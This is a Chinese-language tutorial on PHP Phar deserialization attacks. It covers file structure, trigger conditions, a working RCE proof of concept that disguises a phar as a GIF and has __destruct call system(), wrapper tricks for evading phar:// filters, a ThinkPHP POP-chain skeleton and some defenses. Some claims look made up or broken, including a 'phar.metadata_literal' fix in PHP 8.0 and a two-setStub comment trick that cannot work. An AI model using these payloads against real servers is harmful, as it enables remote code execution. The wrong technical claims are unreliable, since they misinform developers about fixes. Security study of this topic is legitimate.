PHP Phar反序列化漏洞深度解析:从文件结构到内核函数调用链
1. 引言:Phar文件与反序列化漏洞的关联
在PHP安全研究领域,Phar反序列化漏洞因其独特的触发方式和广泛的影响范围而备受关注。与传统的unserialize()函数触发的反序列化漏洞不同,Phar反序列化提供了一种"无感触发"的攻击路径——即使代码中从未显式调用反序列化函数,只要存在文件操作接口,就可能存在风险。
核心问题在于PHP处理Phar文件时对metadata的解析机制。当开发者使用phar://协议处理文件时,PHP内核会自动将文件中的序列化metadata进行反序列化操作。这种设计本是为了方便存储复杂数据结构,却意外打开了潘多拉魔盒。
2. Phar文件结构深度剖析
2.1 二进制格式详解
一个标准的Phar文件由四个关键部分组成:
00000000: 4749 4638 3961 3c3f 7068 7020 5f5f 4841 GIF89a<?php __HA 00000010: 4c54 5f43 4f4d 5049 4c45 5228 293b 203f LT_COMPILER(); ? 00000020: 3e0d 0a50 4b03 040a 0000 0008 0000 0021 >..PK..........! 00000030: 3744 35... [其余部分省略]关键结构说明:
- Stub:文件标识头,必须包含
__HALT_COMPILER();终止符 - Manifest:包含文件元信息的核心区域
- 文件权限、创建时间等属性
- 用户自定义的序列化metadata
- File Contents:实际压缩存储的文件内容
- Signature:可选的签名验证部分(GBMB结尾)
2.2 关键数据结构对比
| 结构部分 | 存储格式 | 是否加密 | 是否必需 | 安全影响 |
|---|---|---|---|---|
| Stub | 明文文本 | 否 | 是 | 可伪装文件类型 |
| Manifest | 二进制+序列化数据 | 可选 | 是 | 反序列化触发点 |
| Contents | 原始/压缩数据 | 可选 | 否 | 可存储恶意代码 |
| Signature | 哈希值 | 是 | 可选 | 完整性校验 |
3. 内核级漏洞原理分析
3.1 关键函数调用链
当PHP解析Phar文件时,内核中会发生以下关键调用流程:
// php-src/ext/phar/phar.c phar_parse_metadata() ↓ php_var_unserialize() ↓ zend_class_lookup() ↓ object_common1()这个调用链揭示了漏洞的本质:metadata解析时未经充分校验就直接反序列化。PHP 8.0+通过引入phar.metadata_literal配置项修复了此问题。
3.2 漏洞触发条件矩阵
必要条件:
- PHP版本5.3-7.4(含)
- 存在文件操作函数调用
- 参数可控且允许
phar://协议
充分条件:
- 可上传Phar文件(或能控制文件内容)
- 存在可利用的魔术方法链
- 无特殊字符过滤(如
:、/等)
4. 实战利用技术详解
4.1 文件生成与伪装技巧
基础Phar生成代码:
class Exploit { public $cmd = 'id'; function __destruct() { system($this->cmd); } } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Exploit()); $phar->stopBuffering(); // 重命名为图片格式 rename('exploit.phar', 'exploit.gif');高级绕过技巧:
- 压缩格式转换:
$phar->convertToExecutable(Phar::TAR); // 生成.tar.phar - 注释注入(针对
__HALT_COMPILER检测):$phar->setStub("GIF89a<?php /*"); $phar->setStub("*/ __HALT_COMPILER(); ?>");
4.2 协议层绕过方案
当phar://被过滤时,可尝试以下变种:
compress.zlib://phar:///path/to/file.phar php://filter/read=convert.base64-encode/resource=phar://./file.phar data://text/plain;base64,[base64_phar]5. 防御方案与最佳实践
5.1 代码层防护
输入验证模板:
function safe_file_op($path) { $blacklist = ['phar://', 'zip://']; foreach($blacklist as $proto) { if(strpos($path, $proto) !== false) { throw new Exception("危险协议禁止使用"); } } return file_get_contents($path); }5.2 架构级防护策略
运行时防护:
- 设置
phar.readonly=1(默认值) - 启用
phar.require_hash=1强制签名验证
- 设置
部署建议:
location ~* \.(phar|php)$ { deny all; }
6. 历史漏洞案例研究
6.1 ThinkPHP 5.x利用链
典型POP链构造:
namespace think\process\pipes; class Windows { private $files; function __construct() { $this->files = [new Pivot()]; } } namespace think; abstract class Model { protected $data = []; function __construct() { $this->data = ['key' => new Request()]; } } // 最终触发点:Request类的__call魔术方法6.2 CMS漏洞实例
某流行CMS的利用流程:
- 通过头像上传传Phar文件
- 模板解析函数调用
file_exists() - 触发
phar://解析执行RCE
7. 高级研究与未来方向
PHP 8.0+的改进带来了新的挑战:
- JIT编译对反序列化性能的影响
- 属性注解带来的新型利用链
- FFI扩展与原生代码结合的利用可能
研究趋势表明,结合OPcache和JIT的侧信道攻击可能成为下一个研究热点。对于开发者而言,理解底层机制永远是构建有效防御的第一道防线。